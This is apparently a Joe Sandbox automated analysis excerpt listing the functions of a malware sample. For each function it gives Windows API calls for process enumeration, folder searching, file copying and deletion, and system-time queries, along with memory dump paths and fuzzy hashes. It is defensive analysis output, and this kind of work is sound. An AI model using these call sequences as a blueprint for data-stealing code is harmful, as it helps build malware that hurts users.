Opcode Fuzzy Hash: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 023F88E7 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 023F8931
Process32First.KERNEL32(?,00000128), ref: 023F8945
Process32Next.KERNEL32(?,00000128), ref: 023F895A

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

CloseHandle.KERNEL32(?), ref: 023F89C8

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction ID: 4fb419e4c5cc8e10b4ae25b6caf75b1f13e0af8e7e139fdd684a8b3d8478b922
Opcode Fuzzy Hash: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction Fuzzy Hash: 53318071901218ABCB68DF90ED54FEEB779EF45700F104199E60EA21A0DB346F88CF91

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 653c6250bfa2d25ce81b68ad29b9700611fbfcd40e1672ae0763ab040719d4ec
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 653c6250bfa2d25ce81b68ad29b9700611fbfcd40e1672ae0763ab040719d4ec
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,0079D630), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 2865ce5e19fc320e7bdf7344607122c15ce296a35d2d737d06258ac16b0412a0
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: 2865ce5e19fc320e7bdf7344607122c15ce296a35d2d737d06258ac16b0412a0
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 004187C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 023F1A07 Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00420DC0), ref: 023F1A2C
ExitProcess.KERNEL32 ref: 023F1A38
strtok_s.MSVCRT ref: 023F1A4F

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID:
API String ID: 3407564107-0
Opcode ID: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction ID: 02988b2fabebd573c46beefba31950af1346d35f69e42848d621727769ff8d7d
Opcode Fuzzy Hash: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction Fuzzy Hash: A0112B75900209EFCB44DFE5E958AEDBB79FF04305F108469E90967250E7705B44CF65

Function 023F7BE7 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 023F7C17
RtlAllocateHeap.NTDLL(00000000), ref: 023F7C1E
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 023F7C2B
wsprintfA.USER32 ref: 023F7C5A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 0159531a472a886e186e406e7a2a9dd7d773b6c6ff99542a4581829aa3575cb8
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 521139B2944118ABCB14DFC9ED45BBEB7F9FB4DB11F10421AF605A2280D3395940CBB1

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 023F7C97 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 023F7CCA
RtlAllocateHeap.NTDLL(00000000), ref: 023F7CD1
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 023F7CE4
wsprintfA.USER32 ref: 023F7D1E

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: dd53e5dcffe57804eebf4d740341b22e373195bdd30320bca043844ee66b2d76
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 32113CB1A45218EBEB208F54EC49FA9B7B8FB05721F10439AF61AA32D0C77459408B51

Function 023F3880 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00420F5C), ref: 023F3889
StrCmpCA.SHLWAPI(?,00420F60), ref: 023F38A3
StrCmpCA.SHLWAPI(?,00420F64), ref: 023F38BD
strtok_s.MSVCRT ref: 023F3938

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction ID: 60c81271e70129a9d3e3093b431ffb57efe6502db60d9b32a4cb37dee3ab8234
Opcode Fuzzy Hash: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction Fuzzy Hash: 751127B4E00209EFDB54CFE6E988BEEBBB9FB08705F10C029E525A6250D7789505CF55

Function 023F9547 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(023F3D55,80000000,00000003,00000000,00000003,00000080,00000000,?,023F3D55,?), ref: 023F9563
GetFileSizeEx.KERNEL32(000000FF,023F3D55), ref: 023F9580
CloseHandle.KERNEL32(000000FF), ref: 023F958E

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 85b2b605f8392622e46b21797efefc7ea9508f50e2d4ebb6d72d191ce63c5841
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: BFF04F39E40208BBDB60DFF0EC49B9E77BAEB49710F10C654FA15A7280D63596018B41

Function 023F6D5A Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 023F6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 023F6D4F
CloseHandle.KERNEL32(00000000), ref: 023F6D60
Sleep.KERNEL32(00001770), ref: 023F6D6B
CloseHandle.KERNEL32(?,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 023F6D81
ExitProcess.KERNEL32 ref: 023F6D89

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction ID: 11ca0794c9df5e08ae24cdae502dfbb4138e6441c108c1e6cfa5f90090f3b3e5
Opcode Fuzzy Hash: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction Fuzzy Hash: A1F05E7A980205AEE7A0ABE1FC1ABBD767EEB05741F10152AF722A5590CBB04500CE56

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DAE, 00406DD2, 00406EAF, 00406E94, 00406E5E

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,007CB738), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,0079D5B0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: 8ba6efb70901ca5478d437239848c433a21302fddde02a53de9488f6e8c4bcee
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: 8ba6efb70901ca5478d437239848c433a21302fddde02a53de9488f6e8c4bcee
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418BB1, 00418BE1, 00418BE4
cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,007CC6B0), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d64dcdbc5a5b078ecf4a674937750308087945107cc9d2085dbcd85f67f2e6ce
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d64dcdbc5a5b078ecf4a674937750308087945107cc9d2085dbcd85f67f2e6ce
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 023EBCE7 Relevance: 5.3, APIs: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023EA077: memcmp.MSVCRT(?,00421264,00000003), ref: 023EA094

lstrlen.KERNEL32(00000000), ref: 023EBF06

Part of subcall function 023F9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 023F90B9

StrStrA.SHLWAPI(00000000,004213E0), ref: 023EBF34
lstrlen.KERNEL32(00000000), ref: 023EC00C
lstrlen.KERNEL32(00000000), ref: 023EC020

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID:
API String ID: 1440504306-0
Opcode ID: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction ID: 6582d426005f437444b9fb682400cd73e8cda7008f3d89a0045131f43a11737a
Opcode Fuzzy Hash: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction Fuzzy Hash: 31B11471910218ABCF64FBA0EDA5EEE733AAF54304F40456DE60AA6190EF345F48CF61

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 023F51A7 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

lstrcat.KERNEL32(?,00000000), ref: 023F51E1
